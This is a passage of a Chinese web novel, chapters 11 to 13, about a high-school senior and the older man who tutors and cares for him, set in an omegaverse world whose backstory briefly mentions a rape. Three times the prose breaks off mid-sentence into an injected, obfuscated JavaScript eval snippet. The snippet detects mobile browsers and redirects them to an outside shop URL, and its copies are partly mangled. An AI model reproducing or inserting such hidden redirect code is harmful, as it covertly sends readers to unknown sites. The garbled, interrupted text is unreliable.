宋清远回了个让夏期惊掉下巴的答案:“台面洗碗机。” 都说高三生的待遇堪比熊猫,直到现在,夏期才理解了这句话真正的含义。他茫然地站在宋清远收拾出的小厨房里,严肃地给宋清远发消息:“谢谢哥哥……我以后一定会报答你的!” 宋清远回:“你不要怨我入侵你的私人空间就可以。” 这算是入侵私人空间吗? 如果入侵的感觉就是仿佛被温暖的水流包裹住,被暖烘烘的空气蒸腾着,那夏期真的一点都不介意的。 - 一连四天宋清远在接夏期放学。 南城没有人不认识宋清远,但对他态度褒贬不一。课间的时候开始不断有本班和其他班,甚至其他年级的人来向夏期打听宋清远的事情,夏期就按照宋清远教自己的那样回答:“清远哥说他顺路。” 每当这个时候,罗嘉伟就会很用力地从鼻腔里哼一声,或是很大声地咋舌:“你们烦不烦啊?” “罗嘉伟你是不是嫉妒宋清远比你帅哈哈哈。”总和他一起玩闹的一个朋友笑嘻嘻地说,被罗嘉伟用力坐上了一拳:“乱说!” 除此以外,夏期真的觉得自己好像胖了点。 小臂不再坚硬,一摸就是骨头,而是变得柔软。 夏期自己看不出来,就问宋清远。 宋清远闻言认真地看了一会夏期。 年轻人恢复的速度比他想象中要快许多。夏期脸颊确实比之前圆润了一些。也渐渐有了血色,总归不像是他刚回到南城的时候,感觉夏期马上要融化在铺天盖地的热雨中。 宋清远就说:“是比之前好一点了。” 夏期又问:“那哥哥你觉得我有没有长高啊?” 宋清远善意地保持了沉默。 夏期啊了声。 要是身高可以像感冒一样传染就好了。那样子宋清远的身高说不定会传染给他一点。 也许是夏期的低落表现得很明显,宋清远突然把车子调了个头:“剧透一下,今天先不回家,我带你去个地方。” 夏期立刻扭头看向宋清远:“去哪里?” 宋清远却不管夏期怎样追问都不肯讲话了。 车子在细密的小雨中一路平稳地行驶,大约过去十几分钟,宋清远将车子停在了南城最大的一间商场的地下车库里。 现在时间还不算晚,又是周六,商城里有许多人。空气中是清新淡雅的香水味道,空气干爽清新,明亮的大灯悬挂在所有人头顶正上方,如探照灯版散发着灼热的温度。 夏期问:“哥哥你要买东西吗?” 宋清远笑,却没回答。牵着夏期乘电梯一路向上。 香水的味道被一股食物的味道取缔了。 很熟悉的味道,浓郁又甜蜜。催的人食指大动。夏期静悄悄地深呼吸,试图分辨出这究竟是什么食物。 宋清远问:“科幻动作片喜欢吗?这个时间好像只有这部电影的票买。” 夏期愣了愣,小小声地“呀”了一声。这是他的尖叫。 就像在车上的时候他突然知道,原来这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496792|202552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条平整宽阔、一点都不颠簸的道路是通往商场的。现在他也突然知道,原来那股香甜浓郁的气息是由爆米花发出。 夏期问:“哥哥你是不是……” “是看到了。”宋清远说:“你夹在书里的那张愿望清单。” 与其说是愿望清单,倒不如说是奢望清单。夏期没想到连自己那漂浮在半空中的奢望都会有被实现的一天。 他又想膜拜一下他的菩萨哥哥了…… 距离电影开场还有一段时间,宋清远带夏期去附近吃了个汉堡,结账的时候夏期发挥出了惊人的反应力,将这一餐的费用包在了自己身上。 对夏期来说很贵,几乎是他一两周的生活费用。但他一点都不心疼。 宋清远拍拍他的头顶,并没说什么。这让夏期觉得雀跃。 等吃过饭时间也差不多了,宋清远给他买了一桶巨大的爆米花,夏期听到有小孩子羡慕地和家长撒娇:“妈妈我也要这个——” 电影院里人也很多。小孩子也很多。看电影的时候,偶尔还有人讲话、打电话的声音。 但夏期完全没在意。 他捧着那桶爆米花,把所有注意力都集中在电影上,聚精会神。这部片的音效很足,总会爆发出一声让人身下座椅都为之震动的巨响。夏期又新奇又害怕,不知不觉整个人都朝着宋清远倾斜过去。 爆裂的音效中夏期听到宋清远偷偷地笑了一声。 是在笑他吗?……笑就笑吧……夏期又想着宋清远的方向挪了挪。 宋清远用手在他手臂上安抚地拍了拍。 夏期想了想,往他手心里放了一颗爆米花。 宋清远又笑了一声,笑声飘到夏期耳朵里。 电影散场的时候,宋清远带着他和大家一起向外走。 夏期听到有人说这部电影是爆米花片,导演没有发挥出真正的水准。 夏期倒是觉得这部电影真的很棒。 剧情跌宕起伏,正派和反派的对话很精彩,音效也很棒。 最后还有一段感情戏,主角和其女友的爱情唯美又浪漫。 而且爆米花……爆米花很好啊,真的很好吃,甜融融暖融融,整个口腔都是幸福的味道。 一路上夏期都轻飘飘的。即便车外的细雨都已变成暴雨,也并没影响到他的心情。 宋清远假装严肃,用手指点他的头:“你把心收住不许飘。明天白天自己在家做两套卷子,晚上我过来检查。” 夏期认真地说:“哥哥你去做家教的话,一定会赚很多钱的。” “金钱已经不是我的追求了。”宋清远说,“编制才是。” 他顿了顿,又说:“好了,你休息吧,我先回去了。” 宋清远身上还留着一些外面的味道。爆米花与糕点的香甜,香水的淡雅,都是让夏期觉得很开心的味道。 宋清远打开门,震耳欲聋的雷声落下,整栋楼都在震颤。走廊里的潮气将他身上的味道猛地冲淡。 夏期猛地伸手,拉住宋清远。 宋清远:“嗯?” 夏期问:“哥哥你、雨下得好大,你要不要留宿?” 12. 第 12 章 第12章 话一出口夏期才觉得不太合适。 小时候他会在宋清远的床上睡觉,宋清远甚至还给他洗过澡。但那是因为他是小孩子。 夏期大多数时候都想长大,想要成长为独当一面的大人。但很偶尔的时候,比如现在,夏期希望自己还在童年。 他收回手,小声道歉:“对不起。” 宋清远默然了一会,说:“好,那就打扰了。” 夏期脑海里冒出来一个词。 牙刷。 然后更多的词语跟着冒出来——毛巾,睡衣,内裤,噢还有新的香皂…… 他猛地转回身,步伐快快地朝外公外婆之前的房间走。 那里现在已经变成存放杂物的地方。夏期在每一个柜子里面都放了从食品袋里拆出来的干燥剂,片状或粉包,夏期翻找着日用品,宋清远在房间门口站定:“原来这房间长这个样子。” 外公瘫痪躺在屋里,常年不出房间,外婆分明厌恶他,却又好似要把外公当成自己胸脯上的一道红肿疤痕,耻于示人。 外婆都很少让夏期进去,更别提外人。宋清远偶尔来做客,也只去过夏期的房间。小小挤挤,只够摆得下一张书桌和一只细长条的柜子。 夏期拿着毛巾等物朝宋清远走,宋清远伸手扶了他一把:“慢点。” 等宋清远接过去,夏期又转头:“我还有干净的T恤可以当睡衣。” “你的衣服我穿不上吧。”宋清远想笑:“我后备箱里倒是有前几天买的衣服,我去拿上来。” 夏期应一声。 宋清远一上一下,回来后拿着自己的新衣和夏期翻找出的日用品去洗澡。夏期忙忙碌碌地换了床单,不想坐皱,便抱着膝盖蹲在自己的椅子上边背单词边等人。 卫生间里的水声停下,再过了一会宋清远出来,夏期忙起身。 宋清远说:“免礼。” 夏期噗嗤一笑。 夏期的床很小,甚至不如宋清远之前的那张床大。宋清远洗漱的时候,夏期其实是有一些后悔自己的冲动的。 但当两人挤在床上并肩躺着的时候,夏期反而没有那种局促和紧张的感觉了。 他在宋清远身上闻到了一股花香,吸一吸鼻子:“这是什么味道?” “须后水吧。”宋清远说。 夏期回想起自己那次抚摸宋清远面庞的手感,光洁细腻,并没有刺刺的感觉……原来宋清远会长胡子呀? 他倒是不会。不知道是因为营养跟不上,亦或是天生,除了头发外的所有毛发都很少。 ……还好头发还算多,不然他是真的要哭了。 夏期和宋清远聊了聊天,渐渐地觉得自己好像穿越了时空,回到了小时候。盛夏时的雨天让南城变成一个巨大的蒸锅,酷热难耐。宋清远瘫在凉席上,他如一只刚出生的北极熊一般四肢着地趴在他旁边。宋清远手里总有一只扇子,偶尔扇动,送来一丝清凉。 那时的他在想什么呢? 会想到八年后的自己吗,会想要赚大钱吗,或是要看很多书? 一定会想到自己会想养一只猫吧。猫是好东西。 夏期有印象的睡前最后一句话是:“哥哥,今天的电影真好看。” 他睡得很沉,鼻腔里发出着的是那种代表着深睡的悠长呼吸。 宋清远在淮流时倒是早睡早起,学生们十点以后找他的消息,他会准时在早上六点回复。作息规律得常被人调侃不像学艺术的人。 回了南城后生物钟倒是一团乱。 病痛实在太磨人。老爷子的脾气变得古怪。偶尔体贴温和偶尔暴怒尖酸,神一时鬼一时。 这几日陪护的众人都被折腾得很惨,宋清远犹为悲惨,总是半夜被叫过去。 他父亲是老爷子的幼子,老来得子,又是最喜欢的情人所生,从一出生就宠溺无边。宠到无法无天,竟敢发/情期也不使用抑制剂,冲进一家路边花店,强/奸和强制标记了omega店主。 后来他下雨时赛车遇到急弯当场死亡,在老爷子的强烈挽留下,母亲才带着宋清远来了南城。但后来也因承受不住小城市的流言蜚语,她将宋清远留在这里,独自离开了。每每回想起来这事,宋清远都为她开心。若不是已经没有了她的联络方式,宋清远真的很想去电一通,问问她是否已经有了新生活,他是否有了弟弟妹妹。 ……扯远了。 老爷子把对幼子的思念寄托到他身上,这几天夜里总会叫他过去。宋清远规律的作息一点点被这有形的大手摧毁到荡然无存。每逢这个时候保姆就会说:“老爷子重感情。” 宋清远跟着说是。其实心里知道自己和保姆谁都没当真。他觉得老爷子这种行为很有意思,就像是尿在裤子里的人,他觉得温暖,其实别人看他都觉得想笑。 有时候宋清远也挺羡慕他三哥的。 他三哥是全家唯一一个无需陪床的人,只因他是老爷子的原配所出。这位原配夫人端庄温婉,落落大方,但他三哥隔代遗传,成功继承到的是原配父亲的长相。 老爷子每次看到他,都像是在看自己的老丈人。 就是不知道今晚老爷子要怎么度过。 不过与他无关了。他今天应该终于可以睡个好觉。 入睡前宋清远刷了下朋友圈。 这个时间有夜生活的大多是学生。夜店里跳舞的,与社团喝酒聚餐的,挑灯赶期末大作业的,还有晒自己和男友在酒店床上的睡姿。 宋清远很喜欢看这些。 他喜欢人,就像是喜欢花草一般。茁壮茂盛的花草与人色彩缤纷,枯萎的花草与人亦别有景致。 但不是那种喜欢——想同谁永远在一起,想像一个alpha那样,将虎牙刺穿进谁的皮肤,将浓稠的信息素注入进对方的腺体里,让双方永恒地缠绕在一起,永远永远不分开。 发/情的alpha简直就像动物。只有生殖与繁衍本能的动物。 宋清远手指再往下滑动,身侧夏期突然急促地呼吸了几下,几乎像是哭腔。 宋清远在夏期背上轻抚了一下,夏期呜咽一声,像是寻到了温暖的鸡崽一般,整个人靠近过来,脸颊枕在了他肩膀上。 “哥哥。”夏期呓语着说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496793|202552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋清远借着手机的微光看了夏期一下,伸手摸了摸他柔软顺滑的头发。 第二天夏期很晚才起来。 算了算时间,他竟然睡了整整十个小时。惊人的时长,夏期竟然还觉得没睡够,眼睛还睁不开,听宋清远说话都像是在梦里面。 宋清远拉着他的手腕,让迷迷糊糊地夏期坐在床边。 夏期被折腾摆弄了一会后,险些跳起来——宋清远竟在给他穿衣! “总算清醒了。”宋清远语气里有笑地说,“不好意思了?明明小时候还理直气壮地说自己穿不上裤子,叫我帮忙。” “我——你——”夏期脸热到可以煎鸡蛋,紧抿了半天嘴唇后,他说:“……可是袜子塞在裤腿里好难受。” 而且不好看…… 他就不信宋清远平时也会这样穿西装。 宋清远遗憾地帮他把袜子重新整理好。 早餐他也已经做好了,营养均衡的搭配。还额外给夏期多加了一只煎蛋和一小块煎牛排。等夏期吃完他便开始给夏期留作业,毫不手软。 按照夏期的速度,这些试卷和背诵够夏期从现在开始坐在椅子前不动,忙到晚上十一点钟。宋清远以为夏期会抱怨,可夏期没有。 夏期甚至是欣喜的。 他知道自己动作慢吞吞的,脑筋也不算灵活。宋清远愿意辅导他,愿意因材施教地为他留作业,他感激还来不及。 于是等宋清远走后,夏期坐在桌前,认认真真地完成了这份作业。 隔天宋清远来的时候,他看了两眼卷子和练习册,并没有说夏期答得如何,而是抽了几道题让他做。 这些题对夏期来说都有难度,他流着汗好不容易做完,宋清远摸了摸他的头发:“进步了。” 夏期“嗯?”了声。 “进步了。”宋清远说:“你们下次什么时候考试?到时候你看吧,肯定成绩要提升一大截。还是我教导有方啊。” 夏期捏着卷子傻笑。 这份好心情一直持续到周一上学。 夏期整理自己的历史课本的时候,又找到了自己夹在其中的“奢望清单”。 1.想试试弹钢琴 2.冬天看雪 3.看电影 4.(被涂成黑色的方块) 夏期没有想到,还没考完试,愿望清单上就有一项愿望已经实现。 当初夏期越写越觉得好笑。他想到追求不到嫦娥的天蓬元帅,觉得自己只是痴心妄想,便从本子上撕下这张纸,胡乱塞进课本里。 愉悦的周末时光让夏期又燃起了继续将这张清单写下去的冲动。 罗嘉伟同朋友去操场打篮球了,周围似乎也无别人注意到他。夏期偷偷摸摸地把那张纸平展再桌上。 5.去海边游泳 6. 第六条其实夏期已经想好了。但是他不好意思写。 他想和宋清远拥抱一下。像是小时候那样,他穿着背心,用热热的四肢像苍耳一般挂在宋清远身上,宋清远的手掌托住他的腿弯,他的后背。 7.想吃一根很贵的冰激凌 13. 第 13 章 第13章 午休到一半的时候,罗嘉伟像风一样冲到后门,喊出三个字:“运动会。” 同学们躁动起来,抓着要跑的罗嘉伟:“别走别走,怎么回事?” 罗嘉伟说:“就是要开运动会了呗。” “你怎么知道的?” 罗嘉伟轻描淡写地说:“刚才遇到老班了。” 能从老师口中得到提前的消息,也是一种能力。夏期对此抱有一种古埃及人对尼罗河水的敬畏心情。他也想过要成为一个八面玲珑的人,可他是一张薄薄的,会被人戳出洞孔的保鲜膜。 下午上课的时候班主任果然公布了运动会的消息。 “本来校长说不让你们参加的。要我说也该是这样,你们马上就要考试了,何必分心参加运动会。” “劳逸结合嘛。”罗嘉伟说。 班主任说:“有没有人要主动报名项目的?” 高一、高二的时候,大家都不肯主动报名参加项目,尤其是跑步类型。但因这次是高中的最后一次运动会,就连跑步项目都人气爆棚。 夏期听到有人叫他的名字:“夏期你要不要报名啊,蒙眼寻物。” 教室里响起一片低低的哄笑。 班主任使劲拍了两下桌面:“好了,好了!” 运动会定在周五举行。 这一周里大家的心情都很躁动,心情也十分好。 教室里已经很久都没出现这样松弛的氛围了。连带着夏期的日子都变得好过了许多。 周四放学的时候,班里更是欢笑不止,每一堂课的老师都在用尽全力压制。 夏期做着卷子,其实心也有点痒痒飘飘起来。宋清远说过今天会晚一些来,夏期就也没急着回家,在附近四处转了转。 宋清远照顾他很多,夏期无以为报。在街上走走转转,最后买个一个向日葵形状的钥匙扣,打算等宋清远来的时候送给他。 没想到回家就收到了宋清远的消息:“临时有事,今天不能过去了。” 后面跟着一串他给夏期留的作业——夏期其实很怀疑宋清远其实已经将自己的练习册的都背下来了,不然怎么连某一个单元在哪一页都记得那么清楚? 夏期回了个好。 宋清远又说:“记得吃饭。” 夏期又回了个好。 再过了一会儿,他主动给宋清远发去消息:“哥哥你也是。” [AAA泥巴搬运工宋清远]:放心 可能是这段时间以来,夏期每天都能见到宋清远,今天突然得知他不来的消息,心底竟生出了空洞洞的失落。 让人难受。 夏期把自己买的那个毛茸茸的小向日葵摆在桌上,那股好像要被孤独吞噬的感觉才终于缓解了一些。 第二天就是校运动会。学校很会挑选日子,今日难得雨停,虽是多云天气,但也有光线会从茂密的云层中往外钻,一条一条地晒人。久不见阳光,即便是这不足拳头大的光斑也足够令人心情舒畅。 学校会将升入高三的班级搬到最顶层,也会取消高三生的课间操、体育课,留出更多时间来学习。再加上高三上学和放学的时间与高一高二都不同,就连午饭都是单独一个时间和旁的年级错峰,所以高三生在学校里,就像树林里的女巫一般神秘。 一出现便引来学弟学妹们的围观。 外向一些的学生立刻和他们混做一团,像是过来人般,用隐隐炫耀的语气江诉苦的话,让学弟学妹们对高三变得又惧怕又期待。 夏期没有要参加的项目,如一株草般安静地抱着膝盖坐在小垫上。 接下来的项目是二百米跑,参加项目的学生们已经在操场上集合完毕,随着发令枪的响声,夏期周围的人开始给罗嘉伟加油。 加油声后就是震天动地的欢呼。罗嘉伟拿了第一,回到班级后被人不停地拍打:“你小子,可以啊,你小子。” 罗嘉伟嘿嘿笑,一屁股坐在夏期旁边:“夏期把我的水给我。” 夏期不知道他的水放在哪里,双手往椅垫旁边摸,罗嘉伟啧了声:“算了不用你了,慢吞吞的。” 夏期的双手就又闲下来,他重新抱住自己的膝盖。 罗嘉伟大口大口地喝了很多水,咕咚咕咚的吞咽声。然后是把矿泉水瓶捏扁的咔啦咔啦。 罗嘉伟用手肘撞了一下夏期:“宋清远到底怎么和你顺路了?是不是你叫他天天接你的?” 夏期犹豫了一下,抬起头,朝向罗嘉伟的方向。 罗嘉伟啧了一声:“做什么?别看我。你的眼神吓死人了。” 夏期就又低下头。 罗嘉伟又问:“你是不是和宋清远说什么了?一直缠着人家不放。我要是宋清远我烦透了!听见没有?烦透了!” 夏期闷闷地道:“才不会呢。” 罗嘉伟很用力地哼了一声:“你怎么知道?” 有别人在叫罗嘉伟的名字,他答应了,又对着夏期哼了一声,这才走开。 运动会在中午一点钟结束了。 中午的时候,夏期从包里拿出他昨晚就准备好的面包与牛奶,认认真真地咀嚼着吃了,也算是没有辜负自己高中生涯的最后一场运动会。 今天参加体育项目的学生基本上都拿到了奖牌或奖状。夏期也在心里默默地给自己发了一个“重在参与”的安慰奖。 运动会结束就可以回家了,不过老师还是要求大家先回一趟班里,把早上弄乱的教室恢复原状。 班级的地面黏糊糊的,是一种很可怕的脚感。夏期小心翼翼地回到座位上,又发现自己的椅子不见了。 找了一圈也没找到,拉了几个人打听了一下,才从他们敷衍的话语中拼凑出来:他的椅子不知道为什么竟然在楼梯口摆着。 也许是故意,也许是无意。夏期不想去想,搬着椅子回教室的路上,离得老远就听到隔壁班级里面传出一声惊叫:“真的假的?!” 听起来很热闹,不知道是在因什么事情而开心。高中……高中可能是做不到了。等到大学的时候,夏期也想拥有几个,或是一个这样子可以吵吵闹闹,分享开心的朋友。 晚上他将自己的愿望和宋清远说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496794|202552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,宋清远摸一摸他的脑袋,没断言他究竟会不会有实现这个愿望的一天,而是问:“最近在学校怎么样?” 夏期说:“挺好的呀。” 宋清远又问:“罗嘉伟呢?” 自从那一次宋清远误会他喜欢罗嘉伟后,夏期就再也没有在宋清远面前提起过罗嘉伟的名字。突然从宋清远口中听到,夏期竟然莫名其妙地产生了一种时空抢被打破的错觉。 夏期摇了摇头。心里又想到今天罗嘉伟对自己说的那番话。 清远哥才不会烦他呢……清远哥是菩萨一样的好人,是温柔又包容的人,胸怀如海水一般宽广浩瀚,如向日葵一般温暖。 向日葵—— 夏期猛地站起身,从桌上拿起那只毛茸茸的向日葵。以一种恭敬的姿态递给宋清远:“哥哥……” 宋清远问:“送我的?” 夏期点头。 手掌里毛茸茸的触感消失不见。 宋清远说:“很可爱。” 今天的补习结束后,见时间还早,夏期便跟提着一袋垃圾和宋清远一起下了楼。 老房周围的路太窄小,本就不好停车,人员又杂乱。于是自从宋清远的车子被邻居小孩子划破后,他就在几百米外的小区办了停车服务,只把车子停在那里了。 夏期丢好了垃圾,打算陪宋清远一路走过去。 路上宋清远点开了一条语音消息,女声:“宋老师你怎么不回我消息。”亲昵又带一些埋怨。就连夏期都能听出是怎么一回事。 钩子似的尾音还没结束,立刻被宋清远关掉。 他立刻对夏期解释:“是之前的相亲对象。不是学生。我不可能同学生暧昧。” 宋清远的语速都比平时快。夏期有一点想笑,又怕宋清远觉得自己是在笑他,就说:“嗯。” 他突然有一点好奇,手指摸着自己裤缝处的短线头,叫宋清远:“哥哥。” 宋清远:“有话想说?” 夏期问:“哥哥你有没有谈过恋爱啊?” 黑暗里只剩下了宋清远的脚步声,一声,两声,宋清远说:“期期别笑话我。还真没有。” 夏期听人说过,不谈恋爱只有一种理由。那就是不想找。否则,其实任何人都可以找到自己的另一半。 是因为那个病吗?那个病让宋清远不想恋爱结婚?夏期也不知道。 宋清远给夏期买了一根盐水棒冰,让他回家的路上吃。 夏期抿着棒冰,本是在慢悠悠地走,突然听到远处有闷闷的雷声。 是要下雨? 这念头刚从夏期脑海里闪过,又是一声贯穿耳膜的雷声响起,紧接着,雨丝砸落。 夏期没带雨伞,加快脚步回了家,身上几乎全部湿透。 他因本就已经洗过澡,所以偷了个懒,接盆水简单擦洗了一下就算清洗过,又用同一盆水将衣服也洗好。 可能是那根棒冰,也可能是因为冷水。睡到后半夜的时候夏期又有了前几天那种即将感冒发热的预感。他爬起来找了包感冒颗粒吞下去,由衷地希望自己不要生病。